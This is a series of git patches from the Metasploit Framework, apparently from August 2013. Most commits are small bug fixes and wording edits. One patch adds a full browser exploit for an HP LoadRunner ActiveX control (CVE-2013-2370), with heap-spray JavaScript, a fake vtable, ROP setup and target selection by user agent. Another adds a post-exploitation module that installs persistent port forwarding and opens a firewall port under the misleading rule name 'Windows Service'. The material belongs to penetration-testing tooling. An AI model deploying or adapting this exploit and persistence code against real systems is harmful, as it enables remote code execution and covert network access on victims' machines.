5f5193360b97a..b063b6a72e1d2 100644 --- a/lib/rex/zip/entry.rb +++ b/lib/rex/zip/entry.rb @@ -12,8 +12,8 @@ class Entry attr_reader :data def initialize(fname, data, compmeth, timestamp=nil, attrs=nil, xtra=nil, comment=nil) - @name = fname.unpack("C*").pack("C*") if fname - @data = data.unpack("C*").pack("C*") if data + @name = fname.unpack("C*").pack("C*") + @data = data.unpack("C*").pack("C*") @xtra = xtra @xtra ||= '' @comment = comment From 83da0b3a577f7515c2e144ebaf7419bbf19330b3 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Sun, 25 Aug 2013 00:17:26 +0100 Subject: [PATCH 362/454] Correct fname --- lib/rex/zip/archive.rb | 3 +++ 1 file changed, 3 insertions(+) diff --git a/lib/rex/zip/archive.rb b/lib/rex/zip/archive.rb index 2163ef133ccbf..e376f85f7e5dd 100644 --- a/lib/rex/zip/archive.rb +++ b/lib/rex/zip/archive.rb @@ -37,6 +37,9 @@ def add_file(fname, fdata=nil, xtra=nil, comment=nil) if (st.directory?) attrs = EFA_ISDIR fdata = '' + unless fdata[-1] == '/' + fdata << '/' + end else f = File.open(fname, 'rb') fdata = f.read(f.stat.size) From d45d37bc381f8f696b27cf885ab4c4f0bd075e62 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Sun, 25 Aug 2013 00:18:50 +0100 Subject: [PATCH 363/454] Really fix... --- lib/rex/zip/archive.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/rex/zip/archive.rb b/lib/rex/zip/archive.rb index e376f85f7e5dd..bf4584dc04ce7 100644 --- a/lib/rex/zip/archive.rb +++ b/lib/rex/zip/archive.rb @@ -37,8 +37,8 @@ def add_file(fname, fdata=nil, xtra=nil, comment=nil) if (st.directory?) attrs = EFA_ISDIR fdata = '' - unless fdata[-1] == '/' - fdata << '/' + unless fname[-1] == '/' + fname << '/' end else f = File.open(fname, 'rb') From 526e504531e1fc4763fec57f42aa6aeeabc0773c Mon Sep 17 00:00:00 2001 From: Meatballs Date: Sun, 25 Aug 2013 12:21:37 +0100 Subject: [PATCH 364/454] More fix --- lib/rex/zip/archive.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/rex/zip/archive.rb b/lib/rex/zip/archive.rb index bf4584dc04ce7..60a6a5f42684b 100644 --- a/lib/rex/zip/archive.rb +++ b/lib/rex/zip/archive.rb @@ -37,8 +37,8 @@ def add_file(fname, fdata=nil, xtra=nil, comment=nil) if (st.directory?) attrs = EFA_ISDIR fdata = '' - unless fname[-1] == '/' - fname << '/' + unless fname[-1,1] == '/' + fname += '/' end else f = File.open(fname, 'rb') From f8d1d296483e1488d01a9b86f076e517fc147ad2 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Sun, 25 Aug 2013 23:07:08 -0500 Subject: [PATCH 365/454] Add module for ZDI-13-182 --- .../browser/hp_loadrunner_writefilebinary.rb | 257 ++++++++++++++++++ 1 file changed, 257 insertions(+) create mode 100644 modules/exploits/windows/browser/hp_loadrunner_writefilebinary.rb diff --git a/modules/exploits/windows/browser/hp_loadrunner_writefilebinary.rb b/modules/exploits/windows/browser/hp_loadrunner_writefilebinary.rb new file mode 100644 index 0000000000000..220fda61620ae --- /dev/null +++ b/modules/exploits/windows/browser/hp_loadrunner_writefilebinary.rb @@ -0,0 +1,257 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::RopDb + include Msf::Exploit::Remote::BrowserAutopwn + + autopwn_info({ + :ua_name => HttpClients::IE, + :ua_minver => "6.0", + :ua_maxver => "9.0", + :javascript => true, + :os_name => OperatingSystems::WINDOWS, + :rank => Rank, + :classid => "{8D9E2CC7-D94B-4977-8510-FB49C361A139}", + :method => "WriteFileBinary" + }) + + def initialize(info={}) + super(update_info(info, + 'Name' => "HP LoadRunner lrFileIOService ActiveX Remote Code Execution", + 'Description' => %q{ + This module exploits a vulnerability on the lrFileIOService ActiveX, as installed + with HP LoadRunner 11.50. The vulnerability exists in the WriteFileBinary method + where user provided data is used as a memory pointer. This module has been tested + successfully on IE6-IE9 on Windows XP, Vista and 7, using the LrWebIERREWrapper.dll + 11.50.2216.0. In order to bypass ASLR the no aslr compatible module msvcr71.dll is + used. This one is installed with HP LoadRunner. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'rgod ', # Vulnerability discovery + 'juan vazquez' # Metasploit module + ], + 'References' => + [ + [ 'CVE', '2013-2370' ], + [ 'OSVDB', '95640' ], + [ 'BID', '61441'], + [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-182/' ], + [ 'URL', 'https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=emr_na-c03862772' ] + ], + 'Payload' => + { + 'Space' => 1024, + 'DisableNops' => true, + 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 + }, + 'DefaultOptions' => + { + 'PrependMigrate' => true + }, + 'Platform' => 'win', + 'Targets' => + [ + # LrWebIERREWrapper.dll 11.50.2216.0 + [ 'Automatic', {} ], + [ 'IE 7 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5F4' } ], + [ 'IE 8 on Windows XP SP3', { 'Rop' => :jre, 'Offset' => '0x5f4' } ], + [ 'IE 7 on Windows Vista', { 'Rop' => nil, 'Offset' => '0x5f4' } ], + [ 'IE 8 on Windows Vista', { 'Rop' => :jre, 'Offset' => '0x5f4' } ], + [ 'IE 8 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x5f4' } ], + [ 'IE 9 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x5fe' } ] + ], + 'Privileged' => false, + 'DisclosureDate' => "Jul 24 2013", + 'DefaultTarget' => 0)) + + register_options( + [ + OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) + ], self.class) + + end + + def get_target(agent) + #If the user is already specified by the user, we'll just use that + return target if target.name != 'Automatic' + + nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || '' + ie = agent.scan(/MSIE (\d)/).flatten[0] || '' + + ie_name = "IE #{ie}" + + case nt + when '5.1' + os_name = 'Windows XP SP3' + when '6.0' + os_name = 'Windows Vista' + when '6.1' + os_name = 'Windows 7' + end + + targets.each do |t| + if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name)) + print_status("Target selected as: #{t.name}") + return t + end + end + + return nil + end + + def ie_heap_spray(my_target, p) + js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch)) + js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch)) + js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch)) + + # Land the payload at 0x0c0c0c0c + case my_target + when targets[7] + # IE 9 on Windows 7 + js = %Q| + function randomblock(blocksize) + { + var theblock = ""; + for (var i = 0; i < blocksize; i++) + { + theblock += Math.floor(Math.random()*90)+10; + } + return theblock; + } + + function tounescape(block) + { + var blocklen = block.length; + var unescapestr = ""; + for (var i = 0; i < blocklen-1; i=i+4) + { + unescapestr += "%u" + block.substring(i,i+4); + } + return unescapestr; + } + + var heap_obj = new heapLib.ie(0x10000); + var code = unescape("#{js_code}"); + var nops = unescape("#{js_random_nops}"); + while (nops.length < 0x80000) nops += nops; + var offset_length = #{my_target['Offset']}; + for (var i=0; i < 0x1000; i++) { + var padding = unescape(tounescape(randomblock(0x1000))); + while (padding.length < 0x1000) padding+= padding; + var junk_offset = padding.substring(0, offset_length); + var single_sprayblock = junk_offset + code + nops.substring(0, 0x800 - code.length - junk_offset.length); + while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock; + sprayblock = single_sprayblock.substring(0, (0x40000-6)/2); + heap_obj.alloc(sprayblock); + } + | + + else + # For IE 6, 7, 8 + js = %Q| + var heap_obj = new heapLib.ie(0x20000); + var code = unescape("#{js_code}"); + var nops = unescape("#{js_nops}"); + while (nops.length < 0x80000) nops += nops; + var offset = nops.substring(0, #{my_target['Offset']}); + var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length); + while (shellcode.length < 0x40000) shellcode += shellcode; + var block = shellcode.substring(0, (0x80000-6)/2); + heap_obj.gc(); + for (var i=1; i < 0x300; i++) { + heap_obj.alloc(block); + } + | + + end + + js = heaplib(js, {:noobfu => true}) + + if datastore['OBFUSCATE'] + js = ::Rex::Exploitation::JSObfu.new(js) + js.obfuscate + end + + return js + end + + def get_payload(t, cli) + code = payload.encoded + + fake_object = [ + 0x0c0c0c0c, # fake vftable pointer + 0x0c0c0c14 # function pointer + ].pack("V*") + + # No rop. Just return the payload. + return fake_object + code if t['Rop'].nil? + + # Both ROP chains generated by mona.py - See corelan.be + case t['Rop'] + when :jre + print_status("Using msvcr71.dll ROP") + fake_object = [ + 0x0c0c0c0c, # fake vftable pointer + 0x7c342643 # xchg eax,esp # pop edi # add byte ptr ds:[eax],al # pop ecx # retn + ].pack("V*") + rop_payload = fake_object + generate_rop_payload('java', code)#, {'pivot'=>stack_pivot}) + end + + return rop_payload + end + + def load_exploit_html(my_target, cli) + p = get_payload(my_target, cli) + js = ie_heap_spray(my_target, p) + + html = %Q| + + + + + + + + + + | + + return html + end + + def on_request_uri(cli, request) + agent = request.headers['User-Agent'] + uri = request.uri + print_status("Requesting: #{uri}") + + my_target = get_target(agent) + # Avoid the attack if no suitable target found + if my_target.nil? + print_error("Browser not supported, sending 404: #{agent}") + send_not_found(cli) + return + end + + html = load_exploit_html(my_target, cli) + html = html.gsub(/^\t\t/, '') + print_status("Sending HTML...") + send_response(cli, html, {'Content-Type'=>'text/html'}) + end + +end \ No newline at end of file From 64d21c721672115363eced81e89bb5b1ccba43c7 Mon Sep 17 00:00:00 2001 From: bmerinofe Date: Mon, 26 Aug 2013 14:44:41 +0200 Subject: [PATCH 366/454] added portproxy post meterpreter module --- modules/post/windows/manage/portproxy.rb | 114 +++++++++++++++++++++++ 1 file changed, 114 insertions(+) create mode 100644 modules/post/windows/manage/portproxy.rb diff --git a/modules/post/windows/manage/portproxy.rb b/modules/post/windows/manage/portproxy.rb new file mode 100644 index 0000000000000..1ad45d5db71b7 --- /dev/null +++ b/modules/post/windows/manage/portproxy.rb @@ -0,0 +1,114 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +class Metasploit3 < Msf::Post + + include Msf::Post::Windows::Priv + include Msf::Post::Common + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Windows Manage PortProxy Interface', + 'Description' => %q{ + This module uses the PortProxy interface from netsh to set up port forwarding + persistently (even after reboot). PortProxy supports TCP IPv4 and IPv6 connections. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'Borja Merino '], + 'Platform' => [ 'windows' ], + 'SessionTypes' => [ 'meterpreter' ] + )) + + register_options( + [ + OptAddress.new('LADDRESS', [ true, 'IPv4/IPv6 address to which to listen.']), + OptAddress.new('CADDRESS', [ true, 'IPv4/IPv6 address to which to connect.']), + OptInt.new( 'CPORT', [ true, 'Port number to which to connect.']), + OptInt.new( 'LPORT', [ true, 'Port number to which to listen.']), + OptString.new( 'TYPE', [ true, 'Type of forwarding. Valid values: v4tov4, v6tov6, v6tov4, v4tov6.',"v4tov4"]) + ], self.class) + end + + def run + if not is_admin? + print_error("You don't have enough privileges. Try getsystem.") + return + end + + if not ['v4tov4', 'v6tov6', 'v6tov4','v4tov6'].include? datastore['TYPE'] + print_error("TYPE value incorrect. Valid values: v4tov4, v6tov6, v6tov4, v4tov6.") + return + end + + type = datastore['TYPE'] + lport = datastore['LPORT'] + cport = datastore['CPORT'] + laddress = datastore['LADDRESS'] + caddress = datastore['CADDRESS'] + + return if not enable_portproxy(lport,cport,laddress,caddress,type) + fw_enable_ports(lport) + + end + + def enable_portproxy(lport,cport,laddress,caddress,type) + # Due to a bug in Windows XP you need to install ipv6 + # http://support.microsoft.com/kb/555744/en-us + if sysinfo["OS"] =~ /XP/ + return false if not enable_ipv6() + end + + print_status("Setting PortProxy ...") + output = cmd_exec("netsh","interface portproxy add #{type} listenport=#{lport} listenaddress=#{laddress} connectport=#{cport} connectaddress=#{caddress}") + if output.size > 2 + print_error("Setup error. Verify parameters and syntax.") + return false + else + print_good("PortProxy added.") + end + + output = cmd_exec("netsh","interface portproxy show all") + print_status("Local IP\tLocal Port\tRemote IP\tRemote Port") + output.each_line do |l| + print_status("#{l.chomp}") if l.strip =~ /^[0-9]|\*/ + end + return true + end + + def enable_ipv6() + print_status("Checking IPv6. This could take a while ...") + cmd_exec("netsh","interface ipv6 install",120) + output = cmd_exec("netsh","interface ipv6 show global") + if output =~ /-----/ + print_good("IPV6 installed.") + return true + else + print_error("IPv6 was not successfully installed. Run it again.") + return false + end + end + + def fw_enable_ports(port) + print_status ("Setting port #{port} in Windows Firewall ...") + begin + if sysinfo["OS"] =~ /Windows 7|Vista|2008|2012/ + cmd_exec("netsh","advfirewall firewall add rule name=\"Windows Service\" dir=in protocol=TCP action=allow localport=\"#{port}\"") + else + cmd_exec("netsh","firewall set portopening protocol=TCP port=\"#{port}\"") + end + output = cmd_exec("netsh","firewall show state") + + if output =~ /^#{port} / + print_good("Port opened in Windows Firewall.") + else + print_error("There was an error enabling the port.") + end + rescue::Exception => e + print_status("The following Error was encountered: #{e.class} #{e}") + end + end +end From 2b577552a236396d8fb0809bb8f5af84f4d634d8 Mon Sep 17 00:00:00 2001 From: bmerinofe Date: Mon, 26 Aug 2013 15:25:23 +0200 Subject: [PATCH 367/454] OptEnum option changed --- modules/post/windows/manage/portproxy.rb | 7 +------ 1 file changed, 1 insertion(+), 6 deletions(-) diff --git a/modules/post/windows/manage/portproxy.rb b/modules/post/windows/manage/portproxy.rb index 1ad45d5db71b7..13ef6ae96aaa5 100644 --- a/modules/post/windows/manage/portproxy.rb +++ b/modules/post/windows/manage/portproxy.rb @@ -29,7 +29,7 @@ def initialize(info={}) OptAddress.new('CADDRESS', [ true, 'IPv4/IPv6 address to which to connect.']), OptInt.new( 'CPORT', [ true, 'Port number to which to connect.']), OptInt.new( 'LPORT', [ true, 'Port number to which to listen.']), - OptString.new( 'TYPE', [ true, 'Type of forwarding. Valid values: v4tov4, v6tov6, v6tov4, v4tov6.',"v4tov4"]) + OptEnum.new( 'TYPE', [ true, 'Type of forwarding', 'v4tov4', ['v4tov4','v6tov6','v6tov4','v4tov6']]) ], self.class) end @@ -39,11 +39,6 @@ def run return end - if not ['v4tov4', 'v6tov6', 'v6tov4','v4tov6'].include? datastore['TYPE'] - print_error("TYPE value incorrect. Valid values: v4tov4, v6tov6, v6tov4, v4tov6.") - return - end - type = datastore['TYPE'] lport = datastore['LPORT'] cport = datastore['CPORT'] From 9cb8ec950f87ec96e3924e54b6cada90945ad76e Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 26 Aug 2013 11:40:05 -0500 Subject: [PATCH 368/454] Fix module description --- modules/auxiliary/spoof/nbns/nbns_response.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/spoof/nbns/nbns_response.rb b/modules/auxiliary/spoof/nbns/nbns_response.rb index 9767bc4807aa5..128eaa779df82 100644 --- a/modules/auxiliary/spoof/nbns/nbns_response.rb +++ b/modules/auxiliary/spoof/nbns/nbns_response.rb @@ -21,7 +21,7 @@ def initialize capture/server/http_ntlm it is a highly effective means of collecting crackable hashes on common networks. - This module must be run as root and will bind to tcp/137 on all interfaces. + This module must be run as root and will bind to udp/137 on all interfaces. }, 'Author' => [ 'Tim Medin ' ], 'License' => MSF_LICENSE, From 0baaf989fb97af1db1eb52ce736730ee25567bed Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 26 Aug 2013 13:20:43 -0500 Subject: [PATCH 369/454] Delete on_new_session cleanup, as discusses with @jlee-r7 --- .../osx/local/sudo_password_bypass.rb | 41 ++++++------------- 1 file changed, 13 insertions(+), 28 deletions(-) diff --git a/modules/exploits/osx/local/sudo_password_bypass.rb b/modules/exploits/osx/local/sudo_password_bypass.rb index 9557793f0c764..f56ed775d7965 100644 --- a/modules/exploits/osx/local/sudo_password_bypass.rb +++ b/modules/exploits/osx/local/sudo_password_bypass.rb @@ -58,7 +58,7 @@ def initialize(info={}) ], 'Platform' => 'osx', 'Arch' => [ ARCH_X86, ARCH_X86_64, ARCH_CMD ], - 'SessionTypes' => [ 'shell' ], + 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [ [ 'Mac OS X x86 (Native Payload)', { @@ -145,13 +145,19 @@ def exploit end def cleanup - do_cleanup_once(session) - super - end + print_status("Resetting system clock to original values") if @time + cmd_exec("#{SYSTEMSETUP_PATH} -settimezone #{[@zone].shelljoin}") unless @zone.nil? + cmd_exec("#{SYSTEMSETUP_PATH} -setdate #{[@date].shelljoin}") unless @date.nil? + cmd_exec("#{SYSTEMSETUP_PATH} -settime #{[@time].shelljoin}") unless @time.nil? + + if @networked + cmd_exec("#{SYSTEMSETUP_PATH} -setusingnetworktime On") + unless @network_server.nil? + cmd_exec("#{SYSTEMSETUP_PATH} -setnetworktimeserver #{[@network_server].shelljoin}") + end + end - def on_new_session(session) - do_cleanup_once(session) - super + print_good("Completed clock reset.") if @time end private @@ -196,27 +202,6 @@ def run_sudo_cmd end - # cmd_exec doesn't allow to get a session, so there is no way to make the cleanup - # from the new privileged session, when called from the on_new_session callback. - def do_cleanup_once(session) - return if @_cleaned_up - @_cleaned_up = true - - print_status("Resetting system clock to original values") if @time - session.shell_command_token("#{SYSTEMSETUP_PATH} -settimezone #{[@zone].shelljoin}") unless @zone.nil? - session.shell_command_token("#{SYSTEMSETUP_PATH} -setdate #{[@date].shelljoin}") unless @date.nil? - session.shell_command_token("#{SYSTEMSETUP_PATH} -settime #{[@time].shelljoin}") unless @time.nil? - - if @networked - session.shell_command_token("#{SYSTEMSETUP_PATH} -setusingnetworktime On") - unless @network_server.nil? - session.shell_command_token("#{SYSTEMSETUP_PATH} -setnetworktimeserver #{[@network_server].shelljoin}") - end - end - - print_good("Completed clock reset.") if @time - end - # helper methods for accessing datastore def using_native_target?; target.name =~ /native/i; end def using_cmd_target?; target.name =~ /cmd/i; end From 8c7f4b3e1f9f588e3ef3fd63805e76966bb6b875 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Mon, 26 Aug 2013 13:54:06 -0500 Subject: [PATCH 370/454] Avoid using inline rescue --- modules/auxiliary/scanner/http/web_vulndb.rb | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/scanner/http/web_vulndb.rb b/modules/auxiliary/scanner/http/web_vulndb.rb index 4d6b8a3c5ca04..28f84078d152e 100644 --- a/modules/auxiliary/scanner/http/web_vulndb.rb +++ b/modules/auxiliary/scanner/http/web_vulndb.rb @@ -136,11 +136,15 @@ def run_host(ip) 'ctype' => 'text/plain' }, 20) + if res.nil? + print_error("Connection timed out") + return + end if testmesg.empty? or usecode - if(not res or ((res.code.to_i == ecode) or (emesg and res.body.index(emesg)))) + if (res.code.to_i == ecode) or (emesg and res.body.index(emesg)) if dm == false - print_status("NOT Found #{wmap_base_url}#{tpath}#{testfvuln} #{res.code.to_i rescue ''}") + print_status("NOT Found #{wmap_base_url}#{tpath}#{testfvuln} #{res.code.to_i}") end else if res.code.to_i == 400 and ecode != 400 @@ -172,7 +176,7 @@ def run_host(ip) ) else if dm == false - print_status("NOT Found #{wmap_base_url}#{tpath}#{testfvuln} #{res.code.to_i rescue ''}") + print_status("NOT Found #{wmap_base_url}#{tpath}#{testfvuln} #{res.code.to_i}") end end end From 6b8feaff8c9f78c651d41038f4b388a69502caaf Mon Sep 17 00:00:00 2001 From: sinn3r Date: Mon, 26 Aug 2013 13:56:11 -0500 Subject: [PATCH 371/454] Type conversion --- modules/auxiliary/gather/corpwatch_lookup_id.rb | 2 +- modules/auxiliary/gather/corpwatch_lookup_name.rb | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/gather/corpwatch_lookup_id.rb b/modules/auxiliary/gather/corpwatch_lookup_id.rb index 968885ed97f6d..7ab583f83cdec 100644 --- a/modules/auxiliary/gather/corpwatch_lookup_id.rb +++ b/modules/auxiliary/gather/corpwatch_lookup_id.rb @@ -58,7 +58,7 @@ def run loot = "" uri = "/" - uri << (datastore['YEAR']) if datastore['YEAR'] != "" + uri << (datastore['YEAR']).to_s if datastore['YEAR'].to_s != "" uri << ("/companies/" + datastore['CW_ID']) res = send_request_cgi({ diff --git a/modules/auxiliary/gather/corpwatch_lookup_name.rb b/modules/auxiliary/gather/corpwatch_lookup_name.rb index 0a4fcf119e759..8b30f7e066146 100644 --- a/modules/auxiliary/gather/corpwatch_lookup_name.rb +++ b/modules/auxiliary/gather/corpwatch_lookup_name.rb @@ -56,7 +56,7 @@ def run datastore['RPORT'] = 80 uri = "/" - uri << (datastore['YEAR'] + "/") if datastore['YEAR'] != "" + uri << (datastore['YEAR'].to_s + "/") if datastore['YEAR'].to_s != "" uri << "companies.xml" res = send_request_cgi( From 3769da2722e4c0d27e2b95a769c241018413c7ad Mon Sep 17 00:00:00 2001 From: sinn3r Date: Mon, 26 Aug 2013 14:02:45 -0500 Subject: [PATCH 372/454] Better fixes --- .../scanner/http/ektron_cms400net.rb | 19 ++++++++++--------- 1 file changed, 10 insertions(+), 9 deletions(-) diff --git a/modules/auxiliary/scanner/http/ektron_cms400net.rb b/modules/auxiliary/scanner/http/ektron_cms400net.rb index 88aedd2694d45..a71376214f6f4 100644 --- a/modules/auxiliary/scanner/http/ektron_cms400net.rb +++ b/modules/auxiliary/scanner/http/ektron_cms400net.rb @@ -39,6 +39,7 @@ def initialize(info={}) ]) ], self.class) + # "Set to false to prevent account lockouts - it will!" deregister_options('BLANK_PASSWORDS') end @@ -58,16 +59,11 @@ def target_url end end - def cleanup - datastore['BLANK_PASSWORDS'] = @blank_pass - end + def gen_blank_passwords(users, credentials) + return credentials + end def run_host(ip) - # "Set to false to prevent account lockouts - it will!" - # Therefore we shouldn't present BLANK_PASSWORDS as an option - @blank_pass = datastore['BLANK_PASSWORDS'] - datastore['BLANK_PASSWORDS'] = false - begin res = send_request_cgi( { @@ -75,6 +71,11 @@ def run_host(ip) 'uri' => normalize_uri(datastore['URI']) }, 20) + if res.nil? + print_error("Connection timed out") + return + end + #Check for HTTP 200 response. #Numerous versions and configs make if difficult to further fingerprint. if (res and res.code == 200) @@ -105,7 +106,7 @@ def run_host(ip) end rescue - print_error ("Ektron CMS400.NET login page not found at #{target_url} [HTTP #{res.code rescue '= No response'}]") + print_error ("Ektron CMS400.NET login page not found at #{target_url} [HTTP #{res.code}]") return end end From 5b4890f5b97c43debc2547f844d53ccac85dc014 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Mon, 26 Aug 2013 14:47:42 -0500 Subject: [PATCH 373/454] Fix caps on typo3_winstaller module --- .../auxiliary/admin/http/typo3_winstaller_default_enc_keys.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/admin/http/typo3_winstaller_default_enc_keys.rb b/modules/auxiliary/admin/http/typo3_winstaller_default_enc_keys.rb index eb35666027317..91f2522e82615 100644 --- a/modules/auxiliary/admin/http/typo3_winstaller_default_enc_keys.rb +++ b/modules/auxiliary/admin/http/typo3_winstaller_default_enc_keys.rb @@ -14,7 +14,7 @@ class Metasploit4 < Msf::Auxiliary def initialize super( - 'Name' => 'TYPO3 Winstaller default Encryption Keys', + 'Name' => 'TYPO3 Winstaller Default Encryption Keys', 'Description' => %q{ This module exploits known default encryption keys found in the TYPO3 Winstaller. This flaw allows for file disclosure in the jumpUrl mechanism. This issue can be From 6b15a079ea1b0c5e0f5eeeba3c622000553069b9 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Mon, 26 Aug 2013 14:52:51 -0500 Subject: [PATCH 374/454] Update for grammar in descriptions on new modules. --- modules/exploits/osx/local/sudo_password_bypass.rb | 6 +++--- modules/exploits/unix/webapp/graphite_pickle_exec.rb | 4 ++-- modules/exploits/windows/http/oracle_endeca_exec.rb | 2 +- 3 files changed, 6 insertions(+), 6 deletions(-) diff --git a/modules/exploits/osx/local/sudo_password_bypass.rb b/modules/exploits/osx/local/sudo_password_bypass.rb index f56ed775d7965..ccea3a84f164c 100644 --- a/modules/exploits/osx/local/sudo_password_bypass.rb +++ b/modules/exploits/osx/local/sudo_password_bypass.rb @@ -30,7 +30,7 @@ def initialize(info={}) super(update_info(info, 'Name' => 'Mac OS X Sudo Password Bypass', 'Description' => %q{ - Gains a session with root permissions on versions of OS X with + This module gains a session with root permissions on versions of OS X with sudo binary vulnerable to CVE-2013-1775. Tested working on Mac OS 10.7-10.8.4, and possibly lower versions. @@ -39,8 +39,8 @@ def initialize(info={}) user has ever run the "sudo" command, it is possible to become the super user by running `sudo -k` and then resetting the system clock to 01-01-1970. - Fails silently if the user is not an admin or if the user has never - ran the sudo command. + This module will fail silently if the user is not an admin or if the user has never + run the sudo command. }, 'License' => MSF_LICENSE, 'Author' => diff --git a/modules/exploits/unix/webapp/graphite_pickle_exec.rb b/modules/exploits/unix/webapp/graphite_pickle_exec.rb index e91da282a8275..2925b24c24207 100644 --- a/modules/exploits/unix/webapp/graphite_pickle_exec.rb +++ b/modules/exploits/unix/webapp/graphite_pickle_exec.rb @@ -18,7 +18,7 @@ def initialize(info = {}) 'Description' => %q{ This module exploits a remote code execution vulnerability in the pickle handling of the rendering code in the Graphite Web project between version - 0.9.5 and 0.9.10(both included). + 0.9.5 and 0.9.10 (both included). }, 'Author' => [ @@ -77,4 +77,4 @@ def exploit 'data' => data }) end -end \ No newline at end of file +end diff --git a/modules/exploits/windows/http/oracle_endeca_exec.rb b/modules/exploits/windows/http/oracle_endeca_exec.rb index e30b0b61bf03f..ffe4936f3277f 100644 --- a/modules/exploits/windows/http/oracle_endeca_exec.rb +++ b/modules/exploits/windows/http/oracle_endeca_exec.rb @@ -20,7 +20,7 @@ def initialize This module exploits a command injection vulnerability on the Oracle Endeca Server 7.4.0. The vulnerability exists on the createDataStore method from the controlSoapBinding web service. The vulnerable method only exists on the 7.4.0 - branch and isn't available on the 7.5.5.1 branch. On the other hand, the injection + branch and isn't available on the 7.5.5.1 branch. In addition, the injection has been found to be Windows specific. This module has been tested successfully on Endeca Server 7.4.0.787 over Windows 2008 R2 (64 bits). }, From 7fad26968c876d18f3367fff27120b62896ec4f8 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Mon, 26 Aug 2013 17:16:15 -0500 Subject: [PATCH 375/454] More fix to jboss_seam_exec --- modules/auxiliary/admin/http/jboss_seam_exec.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/admin/http/jboss_seam_exec.rb b/modules/auxiliary/admin/http/jboss_seam_exec.rb index 77f45b8c5c291..8e7e3e38c9091 100644 --- a/modules/auxiliary/admin/http/jboss_seam_exec.rb +++ b/modules/auxiliary/admin/http/jboss_seam_exec.rb @@ -67,10 +67,10 @@ def run 'method' => 'GET', }, 20) - if (res.headers['Location'] =~ %r(java.lang.Runtime.exec\%28java.lang.String\%29)) + if (res and res.headers['Location'] =~ %r(java.lang.Runtime.exec\%28java.lang.String\%29)) flag_found_one = index print_status("Found right index at [" + index.to_s + "] - exec") - elsif (res.headers['Location'] =~ %r(java.lang.Runtime\+java.lang.Runtime.getRuntime)) + elsif (res and res.headers['Location'] =~ %r(java.lang.Runtime\+java.lang.Runtime.getRuntime)) print_status("Found right index at [" + index.to_s + "] - getRuntime") flag_found_two = index else From 9f8051161fb56ce87442c70960c9f57711d3e921 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Mon, 26 Aug 2013 17:18:00 -0500 Subject: [PATCH 376/454] Properly implement normalize_uri --- modules/auxiliary/scanner/http/dolibarr_login.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/scanner/http/dolibarr_login.rb b/modules/auxiliary/scanner/http/dolibarr_login.rb index 29eaadfd21ac3..4e5f7aab2b5d9 100644 --- a/modules/auxiliary/scanner/http/dolibarr_login.rb +++ b/modules/auxiliary/scanner/http/dolibarr_login.rb @@ -41,7 +41,7 @@ def initialize(info = {}) def get_sid_token res = send_request_raw({ 'method' => 'GET', - 'uri' => @uri.path + 'uri' => normalize_uri(@uri.path) }) return [nil, nil] if not (res and res.headers['Set-Cookie']) @@ -74,7 +74,7 @@ def do_login(user, pass) begin res = send_request_cgi({ 'method' => 'POST', - 'uri' => "#{@uri.path}index.php", + 'uri' => normalize_uri("#{@uri.path}index.php"), 'cookie' => sid, 'vars_post' => { 'token' => token, @@ -117,7 +117,7 @@ def do_login(user, pass) end def run - @uri = normalize_uri(target_uri.path) + @uri = target_uri.path @uri.path << "/" if @uri.path[-1, 1] != "/" @peer = "#{rhost}:#{rport}" From 85ed9167f2d83e964bdfaf0b416a3850a04dc3b9 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Mon, 26 Aug 2013 17:51:43 -0500 Subject: [PATCH 377/454] Print target endpoint If a module consistently print the target endpoint in all its print functions, then we'll follow that. --- modules/auxiliary/scanner/http/axis_local_file_include.rb | 2 +- .../scanner/http/barracuda_directory_traversal.rb | 2 +- modules/auxiliary/scanner/http/dolibarr_login.rb | 2 +- 